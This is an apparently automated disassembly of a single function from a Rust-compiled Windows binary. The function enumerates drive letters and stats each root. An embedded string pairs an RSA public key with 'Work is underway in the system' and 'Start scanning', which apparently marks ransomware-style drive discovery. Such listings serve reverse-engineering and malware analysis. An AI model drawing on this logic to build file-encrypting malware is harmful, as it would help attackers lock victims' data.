Function at 0x53e4c0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x68
movzx eax, byte [0x5da16c]
mov eax, dword [0x5da100]
mov esi, ecx
test eax, eax
jne 0x53e4f0
call sub.kernel32.dll_GetProcessHeap
test eax, eax
je 0x53e812
mov dword [0x5da100], eax
push 0xd0
push 0
push eax
call sub.kernel32.dll_HeapAlloc
test eax, eax
je 0x53e812
mov edi, 0xffffff30
mov dword [eax], 0x5bd5c7
mov dword [eax + 4], 3
mov dword [eax + 8], str.B:C:D:E:F:G:H:I:J:K:L:M:N:O:P:Q:R:S:T:U:V:W:X:Y:Z:A:_srcmodules.rsWork_is_underway_in_the_system:_____BEGIN_PUBLIC_KEY______nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwF4d4vXG5ihBeTSkEUYn_npg6ZihVVL8ciGx05o7_c3q1_nndXbZ2gL2MzQIa2FNrE1f5RylXrP9Smt7e746G_nDHEdjfVU9_lF4OTHBeWFtKg4XmVJT78JTcHgwOVoOjzN2uAncvpNTnuMr3QyoAQ_ncYBFObAbp9aRIYGnB2RSWhefBkGSGn38E4apvqStLmtonKpofDaUf17lxWcv75_n5zGHq81gypEl2OuIn5vwAJkLYZPmsioDmCzgr4olfLQG7KjgnpSChW5irTINKZDt_njv0gk3EN_CpiupoNey9i_ydCSaKM0_0E3SwdQbpvtfjoq3r6WHftkGx21Ks87JK_nBQIDAQAB_n_____END_PUBLIC_KEY________Start_scanning__n
mov dword [eax + 0xc], 3
mov dword [eax + 0x10], 0x5bd57f
mov dword [eax + 0x14], 3
mov dword [eax + 0x18], 0x5bd582
mov dword [eax + 0x1c], 3
mov dword [eax + 0x20], 0x5bd585
mov dword [eax + 0x24], 3
mov dword [eax + 0x28], 0x5bd588
mov dword [eax + 0x2c], 3
mov dword [eax + 0x30], 0x5bd58b
mov dword [eax + 0x34], 3
mov dword [eax + 0x38], 0x5bd58e
mov dword [eax + 0x3c], 3
mov dword [eax + 0x40], 0x5bd591
mov dword [eax + 0x44], 3
mov dword [eax + 0x48], 0x5bd594
mov dword [eax + 0x4c], 3
mov dword [eax + 0x50], 0x5bd597
mov dword [eax + 0x54], 3
mov dword [eax + 0x58], 0x5bd59a
mov dword [eax + 0x5c], 3
mov dword [eax + 0x60], 0x5bd59d
mov dword [eax + 0x64], 3
mov dword [eax + 0x68], 0x5bd5a0
mov dword [eax + 0x6c], 3
mov dword [eax + 0x70], 0x5bd5a3
mov dword [eax + 0x74], 3
mov dword [eax + 0x78], 0x5bd5a6
mov dword [eax + 0x7c], 3
mov dword [eax + 0x80], 0x5bd5a9
mov dword [eax + 0x84], 3
mov dword [eax + 0x88], 0x5bd5ac
mov dword [eax + 0x8c], 3
mov dword [eax + 0x90], 0x5bd5af
mov dword [eax + 0x94], 3
mov dword [eax + 0x98], 0x5bd5b2
mov dword [eax + 0x9c], 3
mov dword [eax + 0xa0], 0x5bd5b5
mov dword [eax + 0xa4], 3
mov dword [eax + 0xa8], 0x5bd5b8
mov dword [eax + 0xac], 3
mov dword [eax + 0xb0], 0x5bd5bb
mov dword [eax + 0xb4], 3
mov dword [eax + 0xb8], 0x5bd5be
mov dword [eax + 0xbc], 3
mov dword [eax + 0xc0], 0x5bd5c1
mov dword [eax + 0xc4], 3
mov dword [eax + 0xc8], 0x5bd5c4
mov dword [eax + 0xcc], 3
mov dword [esp + 4], 4
mov dword [esp + 8], 0
mov dword [esp + 0x10], esi
mov dword [esp + 0xc], 0
mov dword [esp + 0x14], eax
jmp 0x53e6fd
mov eax, dword [esp + 4]
mov dword [eax + edx*8], esi
mov dword [eax + edx*8 + 4], ebx
inc edx
mov dword [esp + 0xc], edx
mov eax, dword [esp + 0x14]
add edi, 8
je 0x53e7e7
mov esi, dword [eax + edi + 0xd0]
mov ebx, dword [eax + edi + 0xd4]
lea ecx, [esp + 0x18]
mov edx, esi
push ebx
call dbg.stat
add esp, 4
mov eax, dword [esp + 0x18]
xor eax, 2
or eax, dword [esp + 0x1c]
jne 0x53e780
mov eax, dword [esp + 0x20]
cmp al, 4
je 0x53e7bc
cmp al, 3
jne 0x53e6f0
mov eax, dword [esp + 0x24]
mov esi, dword [eax + 4]
mov ebx, dword [eax]
mov dword [esp], eax
mov eax, dword [esi]
push ebx
call eax
add esp, 4
cmp dword [esi + 4], 0
je 0x53e768
cmp dword [esi + 8], 9
jb 0x53e75a
mov ebx, dword [ebx - 4]
push ebx
push 0
push dword [0x5da100]
call sub.kernel32.dll_HeapFree
push dword [esp]
push 0
push dword [0x5da100]
call sub.kernel32.dll_HeapFree
jmp 0x53e6f0
mov ecx, dword [esp + 0x58]
mov dword [esp], esi
mov esi, ebx
mov ebx, 4
mov edx, ecx
and edx, 0x10
shl edx, 4
or edx, 4
test dword [esp + 0x5c], 0x20000000
mov eax, edx
cmovne eax, ebx
mov ebx, esi
mov esi, dword [esp]
test ecx, 0x400
cmove eax, edx
cmp al, 4
jne 0x53e733
test eax, 0xff00
je 0x53e6f0
mov edx, dword [esp + 0xc]
cmp edx, dword [esp + 8]
jne 0x53e6e0
lea ecx, [esp + 4]
call sym.alloc::raw_vec::RawVec_LT_T_C_A_GT_::reserve_for_push::h097fe01122eb0200
mov edx, dword [esp + 0xc]
jmp 0x53e6e0
push eax
push 0
push dword [0x5da100]
call sub.kernel32.dll_HeapFree
movsd xmm0, qword [esp + 4]
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0xc]
movsd qword [ecx], xmm0
mov dword [ecx + 8], eax
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov ecx, 4
mov edx, 0xd0
call dbg.handle_alloc_error
ud2